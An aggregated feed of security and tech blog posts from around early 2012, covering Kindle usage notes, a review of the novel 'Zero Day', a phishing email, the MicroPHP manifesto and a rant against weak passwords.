  - Perform data discovery on regular basis (daily/weekly/month) on network shares, servers, end-points, etc.
The article can also be found at: http://security-24-7.com/dlp

-

Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
New computers - Kindle - Books (part 1)

Posted: January 12th, 2012, 11:38pm CST by p1

Tags: Gadgets [edit]

You can, of course, just buy books from Amazon. It’s pretty easy: you choose the book, arrange payment, click on a link to send it to your Kindle, and, next time your Kindle is connected to a wireless network you choose “Sync & Check for Items” from the menu on the home page, and they get loaded onto your machine.

But, let’s suppose you are, like me, cheap.

Well, Amazon is still a source. You can search on “public domain,” for example. (Type in “public ” and Amazon will helpfully suggest something like “public domain books for kindle free.”) That will get a list of books, most of which will be available free of charge. (Most of them probably started life in Project Gutenberg. We’ll get there later.) You can even do it while your Kindle is connected via wireless, in the “Shop in Kindle Store” option on the home page menu. Some of the books that come up will be books about the public domain, and those you’ll probably have to pay for. Also, some of the books, even in the public domain, bear a charge, although it’s probably fairly modest. You will have to wade through them until you come up with something you want to read. (You will also have to wade through a whole bunch of titles in German.)

Now, these public domain books tend to be old. There are definitely classics to be found: Austen, Dickens, Wilde, Twain, and many, many others. If you want more recent titles, there are other searches you can do.

Try searching on “0.00“ That is the price you will see if the book truly is free of charge. You’ll still see some of the public domain books, but you will also see some more modern titles. (For some reason, lots of romances.) Amazon seems to mess with searches for “0.00″ especially if you add limits, like “0.00 science fiction” You will only get a very few titles. (The day I tried it, one was a science fiction magazine. The description even said that this subscription was always free for Kindle users. When I tried to subscribe, it asked for a credit card for “recurring charges.”)

But, there are many, many other sources.

As previously noted, there is Project Gutenberg. This is the Grandfather of all free online book sources, started by Michael Hart. There are over 20,000 titles in the catalogue, with more being added all the time. They used to just be text, but they now come in half a dozen formats. For Kindle, you’ll want .MOBI. (I’ve also mentioned the formats Kindle will handle.) Most of these titles appear elsewhere, including ManyBooks, which provides the texts in even more formats.

There is also a Website called Kindle Review. They have suggestions about where to get free books (although they mostly seem to sell Kindles). They have suggestions about books free at Amazon, particularly ones that are only available for a short time. You have to search for some entries, and the site is not easy to navigate, but I found this Amazon listing of limited time offers to be quite useful. They aren’t all free, but a fair number are. (Remember, on Amazon, that in the upper right of the page you can sort, and one of the options is by price, lowest to highest.)

-

Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
2nd Annual Cyber Security China 2012

Posted: January 9th, 2012, 11:23am CST by Aviram

Tags: Web [edit]

It seems like nowadays China is the immediate suspect when it comes to hacking attempts or cyber espionage. It’s therefore interesting to know that they are suffering from as much internal attacks as anyone else.

The ‘cyber security china 2012′ is organized with ISC2, which is typically a good indicator for interesting speakers and content (at least, that’s been my past experience in other countries). The description shows that the Chinese are worried about the same things we all are:

With support from Ministry of Public Security of China, and working with ISC2, ITU-IMPACT and ISFS Hong kong, Cyber Security China 2011 is successfully organized in March 24-25 in Shanghai, China. The 2011 event convened 130+ delegates from global and local cyber security authorities, government, law enforcement agencies, users and security vendors, and mainly explored the solutions against evolving cyber threats and attacks, and how to fight the cyber crimes through public-private-partnership.

More information here.

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!

CGISecurity.com: Your Web Site and Application Security Resource

Security Industry Plagiarism: Finding 3 examples in 5 minutes with Google

Posted: January 8th, 2012, 1:11am CST by Robert A.

Tags: Books [edit]

UPDATE: One of the authors has posted two responses including an apology (accepted). I was taught in grade school that if you plan on writing something, never plagiarize. If you want to republish portions of existing content ensure you properly quote/reference them, and never represent this content as your own original work....

SecuriTeam Blogs

New computers - Kindle - More Encounters

Posted: January 7th, 2012, 8:47pm CST by p1

Tags: Gadgets [edit]

A few random observations along the way:

The Kindle has rebooted spontaneously a couple of times since I got it, and sometimes it refuses to connect to wireless unless it gets rebooted. Since the device is so simple, I would have thought that this shouldn’t be a major process, but it seems to take about two minutes to do a reboot.

One of the times that it wouldn’t connect, and I rebooted it, it scared the liver out of me. It seemed to be at the end of it’s boot process, came up with the home page–except that it said I had zero items on the device. At that point I had loaded about 50 books onto it, and sorted them into half a dozen collections, none of which were in evidence. Shortly after that it did decide that my stuff was there, but you shouldn’t scare old people like me in that way. It could have major medical consequences. For my pants, if nothing else. (When I finally tried out the USB connection to the computer, the first thing I did was back up the whole thing.)

Logging on to hotspots with redirection is still inconsistent. Sometimes it has no problem at all; other times I go from “Shop in Kindle Store” to “Sync & Check for Items” to the browser, and a couple of times around before I get a chance to a) pick a network to which to connect, and b) a chance to reload whatever page the browser was on before, which finally prompts the redirect and login.

Amazon doesn’t like “selling” you the same book more than once, even if it is free. (It will offer to reload the book for you, though, in case you’ve lost itor accidentally deleted it.) If you send books via email, though, it will quite happily load the book twice, and give you two entries for it.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
New computers - Kindle - BC Libraries

Posted: January 6th, 2012, 9:17pm CST by p1

Tags: Gadgets [edit]

Even before I was given a Kindle, I was vaguely interested. I use my local library a lot, and review and annotate stuff on their new system. Recently the library has been pushing the fact that ebooks are available for borrowing. In fact, they had a meeting about e-readers (which, worse luck, I was unable to attend), and even have some e-readers as loaners.

So, when I got the Kindle, the library site was one of my first stops.

It was not an unqualified success.

First of all, my local library has no ebooks for loan. The actual ebooks seem to be loaned by the BC Libraries system. I say “seem to,” because the actual ebooks, and the system for controlling them, seems to be run by an American outfit called OverDrive. This becomes important once you start looking for titles and ebooks. There is Kindle compatible material, but none of it is available in Canada. (Which seems very odd when the site is supposed to be about the “BC” libraries.)

There are a very large number of ePUB format titles. There are even some that appear to be free for the taking. I tried one, converted it to .MOBI, and it seemed to work OK.

For the actual loan books, I placed a hold. The hold came in. I read the directions on the “Check Out Assistance” link. I installed Adobe Digital Editions (ver. 1.7.2.1131) (even though I am, as a security specialist, really uncomfortable with Adobe products) in order to be able to return the item. I “downloaded” the item to Adobe Digital Editions. It now appears in my “library” on Adobe Digital Editions. However, the way to “return” the item required help from a library tech, and it definitely is not intuitively obvious. Oh, and it definitely won’t convert to Kindle format.

I guess I have to go to other sources.

-

Expose the security holes in your products during development. Black Box Testing makes it safer!
“Zero Day”, Mark Russinovich

Posted: January 4th, 2012, 10:54pm CST by p1

Tags: Commentary [edit]

BKZERDAY.RVW   20111109

“Zero Day”, Mark Russinovich, 2011, 978-0-312-61246-7, U$24.99/C$28.99
%A Mark Russinovich www.zerodaythebook.com markrussinovich@hotmail.com
%C   175 Fifth Ave., New York, NY   10010
%D   2011
%G   978-0-312-61246-7 0-312-61246-X
%I   St. Martin’s Press/Thomas Dunne Books
%O   U$24.99/C$28.99 212-674-5151 fax 800-288-2131
%O   josephrinaldi@stmartins.com christopherahearn@stmartins.com
%O [www.amazon.com]
[www.amazon.co.uk]
%O   [www.amazon.ca]
[www.amazon.com]
%O   Audience n Tech 1 Writing 1 (see revfaq.htm for explanation)
%P   328 p.
%T   “Zero Day”

Mark Russinovich has definitely made his name, in technical terms, with Winternals and Sysinternals. There is no question that he knows the insides of computers.

What is less certain is whether he knows how to write about it within the strictures of a work of fiction. The descriptions of digital forensics and computer operation in this work are just as confusing, to the technically knowledgeable, as those we regularly deride from technopeasant authors. “[T]he first thing Jeff noted was that he couldn’t detect any data on the hard disk.” (Emphasis in the book.) Jeff then goes on to find some, and notes that there are “bits and pieces of the original operating system.” Now there is a considerable difference between not finding any data, and having a damaged filesystem, and Russinovich knows this perfectly well. Our man Jeff is a digital forensics hacker of the first water, and wouldn’t give a fig if he couldn’t see “the standard C: drive icon.”

Generally, you would think that the reason a technically competent person would write a novel about cyberwar would be in order to inject a little reality into things. Well, reality seems to be in short supply in this book.

First of all, this is the classic geek daydream of being the ultimate ‘leet hacker in the world. The Lone Hacker. Hiyo SysInfo, away! He has all the tools, and all that smarts, about all aspects of technology. Sorry, just not possible any more. This lone hacker image is unrealistic, and the more so because it is not necessary. There are established groups in the malware community (among others), and these would be working together on a problem of this magnitude. (Interestingly, these are generally informal groups, not the government/industry structures which the book both derides and relies upon.)

Next, all the female geeks (and there are a lot) are “hot.” ‘Nuff said.

The “big, bad, new” virus is another staple of the fictional realms which does not exist in reality. Viruses can be built to reproduce rapidly. In that case, they get noticed quickly. Or, they may be created to spread slowly and carefully, in which case they can take a while to be detected, but they also take a long time to get into place.

Anti-malware companies don’t necessarily rely on honeypots (which are usually there to collect information on actual intruders), but they do have bait machines that sit and wait to be infected (by worms) or emulate the activity of users who are willing to click on any link or open any file (for viruses). Malware can be designed to fail to operate (or even delete itself) under certain conditions, and those conditions could include certain indications of a test environment. However, the ability to actively avoid machines that might be collecting malware samples would be akin to a form of digital mental telepathy.

Rootkits, as described in the novel, are no different than the stealth technology that viruses have been using for decades. There are always ways of detecting stealth, and rootkits, and, generally speaking, as soon as you suspect that one might be in operation you start to have ideas about how to find it.

A backup is a copy of data. When it is restored, it is copied back onto the computer, but there is no need for the backup copy to be destroyed by that process. Therefore, if a system-restored-from-backup crashes, nothing is lost but time. You still have the backup, and can try again (this time with more care). In fact, the first time you have any indication that the system might be corrupted enough to crash, you would probably try to recover the files with an alternate operating system. (But, yes, I can see how that might not occur to someone who works for Microsoft.) After all, the most important thing you’ve got on your system is the data, and the data can usually be read on any system, and with a wide variety of programs. (Data files from a SQL Server database could be retrieved not only with other SQL programs, but with pretty much any relational database.)

Some aspects are realistic. The precautions taken in communications, with throwaway email addresses and out-of-band messaging, are the type that would be used in those situations. There is a lot of real technology described in the book. (Although I was slightly bemused by the preference for CDs for data and file storage: that seems a bit quaint now that everyone is using USB drives.) The need, in this type of work, for a level of focus that precludes all other distractions, and the boredom of trying step after step and possibility after possibility are real. The neglect of security and the attendant false confidence that one is immune to attack are all too real. But in a number of the technical areas the descriptions are careless enough to be completely misleading to those not intimately familiar with the technology and the information security field. Which is just as bad as not knowing what you are talking about in the first place.

Other forms of technology should have had a little research. Yes, flying an airliner across an ocean is boring. That’s why the software designers behind the interface on said airliners have the computer keep asking the pilots to check things: keeps the pilots from zoning out. I don’t know how quickly you can “reboot” the full control system in an airplane, but the last one I was on that did it took about fifteen minutes to even get the lights back on. I doubt that would be fast enough to do (twice) in order to pull a plane out of a dive. And if you are in a high-G curve to try and keep the plane out of the water, a sudden cessation of G-forces would mean that a) the plane had stalled (again) (very unlikely), or b) the wings had come off. Neither of which would be a good thing. (And, yes, the Spanair computer that was tracking technical problems at the time was infected with a virus, but, no, that had nothing to do with the crash.)

Russinovich’s writing is much the same as that of many mid-level thriller writers. His plotting is OK, although the attempt to heighten tension, towards the end, by having “one darn thing after another” happen is a style that is overused, and isn’t very compelling in this instance. On the down side, his characters are all pretty much the same, and through much of the book the narrative flow is extremely disjointed.

Overall, this is a reasonable, though unexceptional, thriller. He was fortunate in being able to get Bill Gates and Howard Schmidt to write blurbs for it, but that still doesn’t make it any more realistic than the mass of cyberthrillers now coming on the market.

copyright, Robert M. Slade   2011     BKZERDAY.RVW   20111109

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Who’s Who phish

Posted: January 4th, 2012, 1:25pm CST by p1

Tags: Commentary [edit]

And here, I thought I was finally famous. It’s so disappointing.

I got a “Weekly Follow-up from the National Academic Association.” I suppose it doesn’t really matter that I’d never heard of them, let alone weekly, because it came from the “Academic Association.”

“Hello Candidate,” it starts, and goes on to tell me that “As the school year opens, the Who’s Who Among Executives and Professionals begin a global search for accomplished individuals in both faculty and administrative roles at post-secondary institutions of learning.”

Could this possibly be a job offer? They apparently need me to “verify your contact information so that we can properly publish your updated credentials alongside 30,000 of your prestigious peers. Such a listing can only bring you increased visibility and networking opportunities within the scholastic community.” Only 30,000! Such a select group!

Alas, when I actually went to the site [www.wittersphere.info] (tested with a safe browser, but it doesn’t actually seem to be feeding malware) it turned out to be the “International Association of Successful Individuals.” Therefore, I don’t qualify, but no doubt a number of you do, so I’m letting you know

-

Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
New computers - Kindle - operation

Posted: January 3rd, 2012, 6:04pm CST by p1

Tags: Gadgets [edit]

Having been given a Kindle, what does one do with it?

Unless you have a Kindle Keyboard (a different model, with a keyboard about the size of that for a slide phone or Blackberry across the bottom of the screen), as noted, the virtual keyboard is a pain, so you aren’t going to do much writing. That leaves reading.

First of all, then, you have to get some books to read. You can copy them onto the Kindle, from your computer, with the USB cable. I’ve done that now, and it works quite well. Plug it into the computer, wait for the computer to read the device driver, and it shows up simply as a USB drive. You can put files into the “My Documents” folder, and they show up on the device. (You can also copy any or all of the “books” on the Kindle onto your computer, as backup. Oddly, most ebooks seem to have four files associated with them, once you start reading them.) I’m a bit loath to do the cable connection randomly just now, since, also as noted, plugging into a USB port on a computer starts charging, and, even though it’s a lithium polymer battery, I’d just as soon give it a few full cycles before I start messing with battery memory.

You can use the wireless connection in two different ways. You can “shop” at the Amazon store. Or, you can find your own files and ebooks, and email them to your Kindle. When you set up, the device is assigned an email address. You can find this under the “Settings” entry of the menu from the home page. Find an ebook that you want, and send the file, as an attachment, to that address. The next time the Kindle is attached to the net, you can sync, and that file will be downloaded to your device. (If it doesn’t show up on the home page, it may be under the “Archived Items” section. For some reason, some files seem to go there, possibly if the download isn’t complete.)

When I did some testing of the email-to-Kindle function, it generally worked well. However, in my early tests, about half of the text files, and about a third of the .PDFs, didn’t come through. I tested sending multiple files (four, all text) as attachments in a single message. Two of them came through, and the other two never did.

So, you can just get any ebooks, right? Well, not quite. The Kindle seems to be fairly limited in this regard. You can get ebooks from Amazon, of course. These are indicated by an .AZW extension. In terms of the ebook standards, you can also get and read .MOBI files. (.MOBI and .AZW are apparently the same format, except that .AZW are locked by Amazon. You can get some utilities to unlock and convert them, but I haven’t done a lot of testing with that yet.) The Kindle can handle text files, but, of course, they don’t have any formatting. Kindle says it can handle HTML, and that is partially true. You can send an HTML file, and it will come through. But it doesn’t render: you simply see the text of the file, HTML code and all.

Kindle says it can handle .PDF, although it also says this is experimental or beta. It doesn’t support links within a .PDF, but it does support extracting text from a PDF (as long as it really is text, and not an image), which I found handy, and just a little surprising. It does not, of course, handle locked or password protected files.

And it does not handle .ePUB format, which is a real nuisance.

-

Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!

funkatron.com

The MicroPHP Manifesto

Posted: January 2nd, 2012, 11:00pm CST by Ed Finkler

Tags: [edit]
Update 2012-01-06:
- The manifesto itself and the collection is now at MicroPHP.org
- Here’s a Czech translation
- The MicroPHP Fallacy
- O Manifesto Micro Php E A Macro Discussão.
- Meus Dois Centavos Sobre O Microphp Manifesto
- The MicroPHP Manifesto – What People Are Overlooking
Update 2012-01-04:
- I’ve started a collection of lightweight PHP libraries and frameworks on Gimme Bar [json] [rss]. If you have suggestions, let me know!
The standard line about the history of Punk is that it was a reaction to the excesses of modern rock, particularly progressive rock of the time. The reality is undoubtedly more complex, but I suspect there is some truth to that. Rock n roll did seem to be the realm of Golden Gods in the late 60s and 70s, inaccessible to average folk. The contrast between bands like Rush and Black Flag –– both supposedly playing “rock” –– was extreme.

For fun, let’s take a look at Rush drummer Neil Peart’s drum kit:

Now, here’s Black Flag playing in LA in 1979:

You can fit the entirety of Black Flag in the space of Neil Peart’s drum kit. And they would still play awesome shit and rock you the fuck out.

In the past few years, the PHP Zeitgeist seems like it’s been moving in the Neil Peart direction. Lots of work by lots of smart people is going into complex, verbose solutions. Lots of files, lots of nested directories, and lots of rules. I frequently see PHP libraries/components that look like this:
[https:]
All that, just to start your application.

It doesn’t mean this approach is bad, per se. But when I see it, I have a visceral negative reaction. My brain screams

FUCK.

THAT.

SHIT.

I can’t do it. I don’t want it. And I don’t think we have to do it this way to do cool things and build awesome stuff.

The approach I’ve been taking lately is to start with as lightweight a foundation as possible, in the form of a “microframework.” A few of these exist for PHP (of course), including Slim, Epiphany, Breeze, Limonade, and others. For additional functionality, I pull in lightweight libraries that help me accomplish only the tasks I need. Clarity and brevity are my top considerations.

My other big consideration is the commitment I make when I use code I didn’t write. Typically I don’t have time to do a full code audit on libraries, so there’s a level of trust that goes with it. And each dependency means more trust. Not just that there aren’t bugs (I expect that if they’re anything like me), but security issues – both whether they exist, and how they will be handled. Will an announcement go out to a mailing list? How long will security fixes be provided that don’t break backwards compatibility? Will I have to upgrade all my dependencies if I upgrade to the next PHP point release? And all of that assumes the author will have the time and motivation to provide prompt fixes. If they don’t, you’ve just added a bunch of technical debt to your codebase.

Finding lightweight libraries that don’t pull in lots of additional code dependencies is much harder than it should be. Mostly I think that’s attributable to PHP devs being more interested in framework-specific development. Some work is being done to make mature frameworks less monolithic, and many devs on Twitter have recommended Symfony components as an option. Unfortunately, I think my definition of “lightweight” is not the same as theirs.

Here’s the cloc output for a git clone of the symfony2 HTTP Kernel component:
```
Mon Dec 26 19:42:23 EST 2011
coj@PsychoMantis ~/Sites > cloc HttpKernel
      94 text files.
      93 unique files.
      12 files ignored.

http://cloc.sourceforge.net v 1.53  T=0.5 s (164.0 files/s, 18736.0 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
PHP                             72           1175           3440           4290
Bourne Shell                    10             56            155            252
-------------------------------------------------------------------------------
SUM:                            82           1231           3595           4542
-------------------------------------------------------------------------------
```
Here’s the same for the Slim framework:
```
Mon Dec 26 19:42:27 EST 2011
coj@PsychoMantis ~/Sites > cloc Slim
      54 text files.
      51 unique files.
      13 files ignored.

http://cloc.sourceforge.net v 1.53  T=0.5 s (82.0 files/s, 17752.0 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
PHP                             31            660           4473           3280
Bourne Shell                    10             56            155            252
-------------------------------------------------------------------------------
SUM:                            41            716           4628           3532
-------------------------------------------------------------------------------
```
and the Epiphany framework:
```
Mon Dec 26 19:42:30 EST 2011
coj@PsychoMantis ~/Sites > cloc Epiphany
      83 text files.
      70 unique files.
      31 files ignored.

http://cloc.sourceforge.net v 1.53  T=0.5 s (102.0 files/s, 5246.0 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
PHP                             40            218            309           1632
Bourne Shell                    10             56            155            252
HTML                             1              0              0              1
-------------------------------------------------------------------------------
SUM:                            51            274            464           1885
-------------------------------------------------------------------------------
```
When there are more files and lines of code in your component than in my entire base framework, I can’t call it “lightweight.”

It doesn’t mean that stuff is bad, in the grand scheme of things. It doesn’t mean it has no value or is the wrong approach for many. But it’s the wrong approach for me, for sure. And I don’t think I am alone.

I don’t want to be the prog rock superstar, writing a pretentious rock opera. I want to play shitty power chords in a punk rock band that plays shows in a VFW lodge with no stage, and leaves you so fucking pumped that you go out and form your own band. That’s the coder I want to be.

I don’t want to be Neil Peart. I want to be Gregg Ginn.

So I wrote this. A “micro PHP manifesto,” if you will. I plan to use it to guide my PHP dev. Maybe you will find it useful as well.

I am a PHP developer
- I am not a Zend Framework or Symfony or CakePHP developer
- I think PHP is complicated enough
I like building small things
- I like building small things with simple purposes
- I like to make things that solve problems
- I like building small things that work together to solve larger problems
I want less code, not more
- I want to write less code, not more
- I want to manage less code, not more
- I want to support less code, not more
- I need to justify every piece of code I add to a project
I like simple, readable code
- I want to write code that is easily understood
- I want code that is easily verifiable

SecuriTeam Blogs

First big break-in of the year

Posted: January 2nd, 2012, 10:00pm CST by Aviram

Tags: Web [edit]

Richard Stiennon writes:

I have only one security related prediction for 2012 and that is that we are in for a year that will make 2011 look tame in terms of major targeted attacks.

He gives the 2011 examples of the break-in to Sony playstation network and an attack on Stratfor (a defense intelligence organization). Here’s one from yesterday: A saudi attacker published the details of credit cards (and other personal information such as I.D numbers and address) for hundreds of thousands Israelis.

Going to be a fun year!

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
New computers - Kindle - net

Posted: December 31st, 2011, 1:59pm CST by p1

Tags: Gadgets [edit]

If you want to use a Kindle, you have to get books onto it. It does come with a USB cable, and you can load books from your computer. I haven’t tried that yet, because the USB cable also charges the battery, and, in the interests of battery life, I’ve wanted to let the battery pretty much completely discharge before I charged it up again. I’ll let you know how that works later. (This also gets into the issue of ebook formats, and I’ll get into that later, too.)

Right off the top, probably the quickest and easiest way to get books onto your Kindle is if you can connect to the Internet via Wi-Fi. As previously noted, if you have a private network and know the password, it can be a pain to enter, but you are in. If you are in a Wi-Fi hotspot, things can get a bit trickier.

You can try and “Shop in Kindle Store.” You can “Sync & Check for Items.” (Both of those are on the “home” page menu.) Maybe it will work. Maybe it won’t. Neither of them like hotspots that do redirection. Many times they will simply tell you that the function requires a network connection. (Sometimes the Kindle will tell you that the function requires a network connection, but you will also see indications that books are actually being downloaded. It’s hard to tell for sure whether you are connected and can actually do anything.)
The Kindle 4 (my version) has a Web browser, which you can get to via the home page menu, under the “Experimental” entry. It definitely is experimental. It will not open links, if those links are set to open in new frames, tabs, or windows. (It tells you that it can’t open the link because it doesn’t support multiple windows, rather than just opening it anyway.) If the hotspot does redirection, the browser might go to the redirected page if you ask it to connect to a site, or reload a page. On the other hand, sometimes you will try to fire up the browser in order to connect at a hotspot, and the Kindle will tell you that it can’t open the browser because you don’t have a net connection. Helpful, that.

(The Kindle seems to ship with the wireless enabled and on. I tend to turn it off, when I’m not actually downloading or “shopping,” in order to a) save battery, and b) keep from radiating all over the place. I don’t know how many people will know that they can turn it off from the home page menu.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
New computers - Kindle - First Encounters

Posted: December 31st, 2011, 12:58am CST by p1

Tags: Gadgets [edit]

What I have is a Kindle 4. I assume the “4″ stands for some level of the software. Having done my initial exploration, I vaguely remembered having seen that it was a model D01100. (Eventually I found that reference again: it was buried in the appendix to the “Kindle User’s Guide.” I assume it’s less important than the Kindle 4 part.)

When you start out, the Kindle wants you to go through a registration process. Being in a place with a Wi-Fi network, I did. (This version of Kindle doesn’t have a keyboard. It does have a virtual keyboard, which is usable, but difficult. Entering a 26 character hex password was a bit of a pain.) I have had an account with Amazon, so, when it asked if I wanted to use one or create one, I guessed at my old username and password. It did seem to work; at least it let me start working on the Kindle, but somehow it didn’t pick up my “Registered User:” name. At some point something must have figured out who I was, because the “Send-to-Kindle” email address (I’ll get back to that) did have my name in it.

On the first screen you see after the registration process (I later learned it was the “home” screen) there was an entry for a “Kindle User’s Guide,” and I believe it was the entry highlighted. Being a “read the manual” type person, I read it. It starts out by saying that it’s short and informative and can be read in 10 minutes. Hah!

It starts out with charging the battery. This would seem to make sense, except that a) like most battery-powered devices these days it comes charged, and b) if it wasn’t charged, you couldn’t read the manual, now could you? It then shows you the physical layout and buttons. Including the power button. The power button is not intuitively obvious on first glance: one of the people who gave it to me had to show me where it was.

The Kindle has a “5-way controller.” This should be familiar to most people who have a cell phone that still has buttons: a centre “select/enter” key, surrounded by left, right, up, and down arrow keys. The user guide mentions that you can get around menus and text with it. It doesn’t mention that the left and right keys have context sensitive functions that are not immediately obvious. The Guide did mention that, when a book is highlighted, using the left key brings up an offer to delete the item. However, it mentions a lot of other stuff, and I missed that. (Fortunately, I did not encounter this until I had learned that the “Back” key acts as a combination of “last page visited” and “Esc.”

There is a menu button. It is context sensitive, and will bring up, or dismiss, menus appropriate to the screen you are in. There are lots of different menus. It is not obvious which menu will bring up a function you may want. This is also a good place to mention that one thing that I believe I can state, without fear of contradiction, is a major error in the design of the Kindle user interface. There is no rollover. Menus are limited in length, as are entries in the “home” page or your “collections” of ebooks. Actual pages in an ebook can be much longer. Menus tend to have the “active” item fairly near the middle. (After a while you begin the realize that the most important and useful functions are going to be near the middle, not the top, of a menu.) Pages always start from top left. In either case, there is no rollover: no return off the top of a page or menu to the bottom, or off the bottom to the top. There is no wraparound going off the right side of the page to come back in on the left, or vice versa. (There is one exception to this” the virtual keyboard. It doesn’t wrap top to bottom, but it does wrap side to side.)

One other problem related to the menus: the time, battery power, and Wi-Fi indicator only show when you have a menu open. You can’t even tell the time on the home page unless you bring up a menu. (Interestingly, when I got mine, the time was set for a time zone either four or sixteen hours later than the one I’m in.)

The User’s Guide takes a lot longer than 10 minutes to read. It does contain a lot of information, but a great deal of it will not make much sense until you have explored the device a bit. So you are going to have to read it at least twice. And probably keep it around for reference.

-

Expose the security holes in your products during development. Black Box Testing makes it safer!
New computers - Kindle

Posted: December 30th, 2011, 8:01pm CST by p1

Tags: Gadgets [edit]

The Girls, who have been having a grand time in recent years finding interesting high tech goodies that I never even knew existed, got me a Kindle for Christmas. So, of course, I’m going to review the Kindle.

I had been putting off the idea of getting one for myself. I do a lot of reading, but that’s primarily because I do a lot of reviewing, and for that you need the ability to make notes, and transfer said notes back to the computer for writing up. So far, I haven’t seen an awful lot that convinces me the e-readers are there yet.

But, I do have to say that, right off the top, the idea of having 60 books (so far) in something that is lighter than a paperback definitely has its attractions. So far I’ve been able to load the Bible, some tech articles, my own security dictionary, a dozen Sherlock Holmes stories, Don Quixote (both of which I have read), The Divine Comedy, War and Piece (both of which I intend to read–sometime), a fair amount of poetry, and an egalley for Bruce Schneier’s latest (sent along by his publicist).

Unfortunately, all this fun exploring has me somewhat behind in news and email, so I’ll have to start putting together my observations of the Kindle, itself, a bit later.

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!

cat slave diary

I hate being proven right – mass pwnage

Posted: December 30th, 2011, 5:48am CST by vanderaj

Tags: Rants [edit]
Seriously. When will people (even security pros) ever learn? This is the IRC log between a few security pros who are involved in w00w00.org and BlackOps.org from an insanely long tour de force brag post that seemingly showed up folks from the big guns like Google, through security ISVs such Core Security through several security pros that I truly admire. I am not perfect, and honestly, I feel for these folks as it could happen to me, but weak passwords? OMG! Passwords seem to have cost one of them a great deal of money and time, irreversible data loss and ~~now~~ involvesd law enforcement (update – see comments, this log is from the 1990′s I’m so duh that I missed that bit, but it still proves my point that passwords have sucked for a long time):
```
  [14:41] <@rkl> shit.
  [14:41] <@rkl> whoever broke into blackops.org
  [14:41] <@rkl> when we caught them
  [14:41] <@rkl> they began rm filesystems
  [14:41] <@rkl> and removed my only copy of some photos i had of me and my
          fiance'
  [14:42] <@rkl> that i had up there for like 2 days while i reinstalled my OS
  [14:42] <@rkl> she's going to be sad about that
  [14:44] <@nobody> ur shitting me
  [14:44] <@nobody> who broke in?
  [14:44] <@rkl> we know.
  [14:44] <@rkl> luckily they were incompetent
  [14:44] <@rkl> however
  [14:44] <@nobody> bunch of savages in this town
  [14:44] <@rkl> because they tried to use blackops as a platform to launch
          attacks against a few corporations
  [14:44] <@rkl> now the FBI is involved
  [14:45] <@nobody> wonderful
  [14:45] <@rkl> me and murray couldnt' give a rat's ass
  [14:45] <@rkl> we back up blackops 1 time a month
  [14:45] <@rkl> to cd, now dvd
  [14:45] <@rkl> they got in through a weak user passwd
  [14:45] <@rkl> cause there were near 100 users
  [14:45] <@rkl> just normal users, so they didn't practice good security with their passwds
  [14:45] <@nobody> typical
  [14:46] <@rkl> we've had to turn over everything to the FBI
  [14:46] <@nobody> a system is only as secure as its users
```
In my previous post, my first item stated unequivocally that passwords are crap and first against the wall when the revolution comes? That revolution starts today.

Everyone’s New Year resolution has to be to change their crappy password (or in the rare case, passwords) for their computer to a passphrase (20 characters or more), install a password manager, and change all those crappy passwords into long (20 characters or more) random passwords for every single service. If your service doesn’t let you use > 20 character passwords, STOP USING IT. There’s something very dumb, wrong and insecure with that service.

I do not have a single password that is the same for any service on the Internet. Changing a password to me is extremely simple because I DO NOT CARE about any of them. I do not type them, I do not remember them. They are all at least 20 characters long, and occasionally way more if I care about the system in question.

Additionally, I have no truthful answers for the weak Q&A security backdoor on any system I use. What is your first pet’s name? Just try to crack fazEha*u@eJAM#!#6DafRatrAm6Q before the universe ends. p.s. I generated that one just for this blog entry. Don’t waste your time trying it out anywhere.

Passwords are insecure, always have been, always will be, and that goes double for the horrifically insecure Q&A backdoor that many sites insist upon who should (and most likely do) know better. Passwords are unsuitable even for this blog. Folks who say passwords are free or worse – “the norm” – are idiots and should be ignored whilst the rest of us get on with getting rid of them as Priority #1.

CALL TO ACTION!

If you are responsible for passwords on your site or service, the very first thing you must do when you get back to work is to call an urgent meeting with all stakeholders. The very first agenda item must be “We’re getting rid of passwords as of right now. How do we do that?” Don’t stop until you succeed. Your users will love you.

If you are a victim of passwords, you should ask “Why are we still using passwords? When will you get rid of them?”

Just Do it. Do It Now. I’m deadly serious.

Chris Shiflett

PHP Advent 2011

Posted: December 29th, 2011, 1:42pm CST

Tags: [edit]
The fifth edition of PHP Advent has come to a close. Since 2007, we have published 120 articles, many of which are just as relevant and useful today as when they were first published.

This year, Sean and I decided to choose only authors who did not write for PHP Advent last year, and we made an extra effort to seek out authors who had never written for PHP Advent before. We were pretty darn successful; our first-time authors include:
The most popular article this year was Cracks in the Foundation, by Gwynne Raskind, thanks mostly to the traffic from Hacker News.

Each article this year included a developer gift idea. Here's the aggregated gift guide:
1. Any loud, ticking timer to use with the Pomodoro Technique
2. The Options Interchangeable Zephyr Acrylic Circular Knitting Needle Set and Cooking for Geeks: Real Science, Great Hacks, and Good Food
3. The Pragmatic Programmer, by Andrew Hunt and David Thomas
4. This excellent mug and good tea
5. A pack of good cigars, a bottle of fine scotch, or some appropriately-sized ammunition
6. Hyperion, by Dan Simmons
7. Awesome pancake cushions, leather cases for iPods, iPads, and MacBooks that resemble old books, and Arduino goodies.
8. whiskey stones, a nice set of tumblers, and another set of tumblers.
9. An email sent to the unsung heroes in your workplace
10. A gift bought from someone's Amazon wishlist, or a pair of noise-canceling headphones
11. An awesome plant, such as the easy-to-grow monstera deliciosa, or a terrarium of succulent plants from this Etsy shop
12. Homemade Vanillekipferl
13. Kiva loans or the Electronic Rock Guitar Shirt
14. ThinkGeek gift certificates
15. Kendall Jackson wines
16. Inside the Machine and Operating Systems Design and Implementation
17. Any of these clocks
18. Yazoo Fortuitous, New Belgium Clutch, or New Belgium Le Terroir
19. Mathematician's dice
20. An open source electronics kit from Arduino
